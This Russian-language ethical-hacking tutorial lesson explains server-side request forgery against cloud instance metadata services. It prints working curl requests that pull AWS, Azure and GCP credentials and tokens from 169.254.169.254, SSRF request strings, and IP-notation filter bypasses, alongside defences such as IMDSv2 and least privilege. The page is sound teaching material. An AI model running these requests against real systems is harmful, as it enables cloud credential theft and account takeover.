0Pricing
Ethical Hacking Academy · Урок

Метаданные и SSRF

Специфичные для облака атаки

«Метаданные и SSRF» — бесплатный урок Ethical Hacking Academy на CoddyKit. Это урок 4 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Ethical Hacking Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Ethical Hacking Academy содержит 4 уроков всего.

Служба метаданных экземпляра

Каждая облачная VM может обратиться к специальной внутренней конечной точке, чтобы получить сведения о себе: к службе метаданных экземпляра (IMDS). Важно, что она также может выдавать временные учётные данные роли, прикреплённой к экземпляру.

  • AWS / GCP / Azure предоставляют метаданные по адресу 169.254.169.254
  • Доступ к ней возможен только изнутри экземпляра
  • Для локальных процессов аутентификация не требуется

Это удобство превращается в оружие в сочетании с SSRF.

Чтение метаданных AWS (IMDSv1)

В устаревшем IMDSv1 один запрос GET возвращает метаданные, включая учётные данные роли. Токен не требуется.

Именно поэтому IMDSv1 опасен, если в приложении есть SSRF.

# List roles attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retrieve the temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

Что такое SSRF

Подделка запросов на стороне сервера (SSRF) — это уязвимость, при которой злоумышленник заставляет сервер выполнять HTTP-запросы от своего имени. Сервер становится прокси к ресурсам, недоступным злоумышленнику напрямую.

  • Параметр URL, который сервер загружает
  • Вебхук, генератор PDF или функция изменения размера изображения
  • Любая функция, принимающая URL, предоставленный пользователем

Классическая цель SSRF в облаке — конечная точка метаданных.

SSRF встречается с метаданными

Смертельно опасное сочетание: приложение с SSRF позволяет злоумышленнику указать серверу адрес 169.254.169.254. Сервер получает учётные данные IAM экземпляра и возвращает их.

Теперь злоумышленник располагает облачными учётными данными — часто это первый шаг к полному захвату учётной записи.

# Vulnerable endpoint fetches any URL the user supplies
GET /fetch?url=http://example.com/image.png

# Attacker redirects it to the metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

Использование украденных учётных данных

Ответ со страницы метаданных содержит ключ доступа, секретный ключ и токен сеанса. Злоумышленник экспортирует их и немедленно действует от имени роли экземпляра.

После этого он перечисляет разрешения и ищет пути повышения привилегий.

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Confirm the stolen identity
aws sts get-caller-identity

IMDSv2 как средство защиты

AWS представила IMDSv2, чтобы снизить угрозу SSRF. Сначала требуется получить токен сеанса с помощью HTTP-запроса PUT, а большинство примитивов SSRF этого выполнить не могут — они поддерживают только GET.

Принудительное использование IMDSv2 и установка небольшого ограничения числа переходов значительно сокращают риск кражи метаданных через SSRF.

# IMDSv2: first PUT to get a session token
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')

# Then GET using that token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

Метаданные Azure и GCP

Другие поставщики также предоставляют метаданные, но со своими особенностями. Оба требуют специальный заголовок, который сам по себе немного снижает риск SSRF.

  • Azure требует заголовок Metadata: true
  • GCP требует заголовок Metadata-Flavor: Google
# Azure: fetch a managed-identity access token
curl -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

# GCP: fetch a service-account token
curl -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

Методы обхода SSRF

Защитники часто блокируют адрес 169.254.169.254. Злоумышленники обходят наивные фильтры с помощью альтернативных представлений IP-адресов и перенаправлений.

  • Десятичное представление IP: 2852039166
  • Восьмеричное или шестнадцатеричное представление того же адреса
  • Перерегистрация DNS с последующим разрешением имени в IP-адрес метаданных
  • Открытые перенаправления, отправляющие запрос к URL метаданных

Надёжная защита должна проверять разрешённый IP-адрес, а не исходную строку.

# The metadata IP in alternate notations (all 169.254.169.254)
http://2852039166/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/

Другие цели SSRF

Метаданные — главная цель, но SSRF позволяет обращаться и к другим внутренним ресурсам:

  • Внутренние панели администрирования и информационные панели, привязанные к localhost
  • Внутренние базы данных и кэши (Redis, Elasticsearch)
  • Сервер API Kubernetes и конечные точки kubelet
  • Другие микросервисы, недоступные извне

SSRF фактически пробивает сетевой периметр из доверенной точки обзора.

Защита от всей цепочки атаки

Чтобы разорвать цепочку от SSRF до метаданных, нужна многоуровневая защита:

  • Принудительно использовать IMDSv2 и установить ограничение переходов к метаданным равным 1
  • Проверять исходящие URL и разрешать их только по списку в функциях загрузки
  • После разрешения DNS блокировать запросы к локальным и частным диапазонам IP-адресов
  • Применять принцип минимальных привилегий к ролям экземпляров, чтобы украденные учётные данные давали ограниченный доступ

Роли с минимальными привилегиями гарантируют, что даже успешная кража принесёт мало пользы.

Проверяйте только то, на что у вас есть разрешение

Проверка SSRF по своей природе может затронуть важные внутренние системы. Соблюдайте дисциплину:

  • Убедитесь, что целевой узел и облачная учётная запись входят в разрешённый scope
  • Не переходите в системы, не охваченные соглашением
  • Остановитесь и сообщите о результатах, как только подтвердите доступ к учётным данным

Доступ к метаданным имеет серьёзные последствия: демонстрируйте его осторожно и не используйте украденные ключи без ограничений.

Быстрая проверка

Почему принудительное использование IMDSv2 помогает защититься от кражи учётных данных через SSRF?

Итоги: метаданные и SSRF

Вы изучили наиболее значимую специфичную для облака цепочку атаки.

  • Служба метаданных по адресу 169.254.169.254 выдаёт учётные данные роли экземпляра
  • SSRF позволяет злоумышленнику заставить сервер обратиться к этой конечной точке
  • Украденные временные учётные данные позволяют захватить учётную запись
  • IMDSv2 блокирует большинство атак SSRF, требуя токен на основе PUT
  • Защищайтесь с помощью списков разрешённых URL, проверки IP-адресов и ролей с минимальными привилегиями

На этом раздел «Тестирование облачной инфраструктуры» завершён. Следующий курс: поиск уязвимостей за вознаграждение.

Часто задаваемые вопросы

Урок «Метаданные и SSRF» бесплатный?

Да — полный текст урока «Метаданные и SSRF» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Ethical Hacking Academy, подпишись на CoddyKit PRO. Курс Ethical Hacking Academy содержит 4 уроков всего.

Чему я научусь в уроке «Метаданные и SSRF»?

Специфичные для облака атаки Ты практикуешь Ethical Hacking Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.

Нужен ли мне опыт, чтобы начать Ethical Hacking Academy?

Предыдущий опыт не требуется. Ethical Hacking Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 4 из 4.

Сколько времени занимает урок «Метаданные и SSRF»?

Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.

Можно ли писать и запускать код в этом уроке Ethical Hacking Academy?

Да. Каждый урок Ethical Hacking Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.

Все уроки этого курса

  1. Область атак в облаке
  2. Ошибки конфигурации IAM
  3. Раскрытие S3 и хранилищ
  4. Метаданные и SSRF
← Назад к Ethical Hacking Academy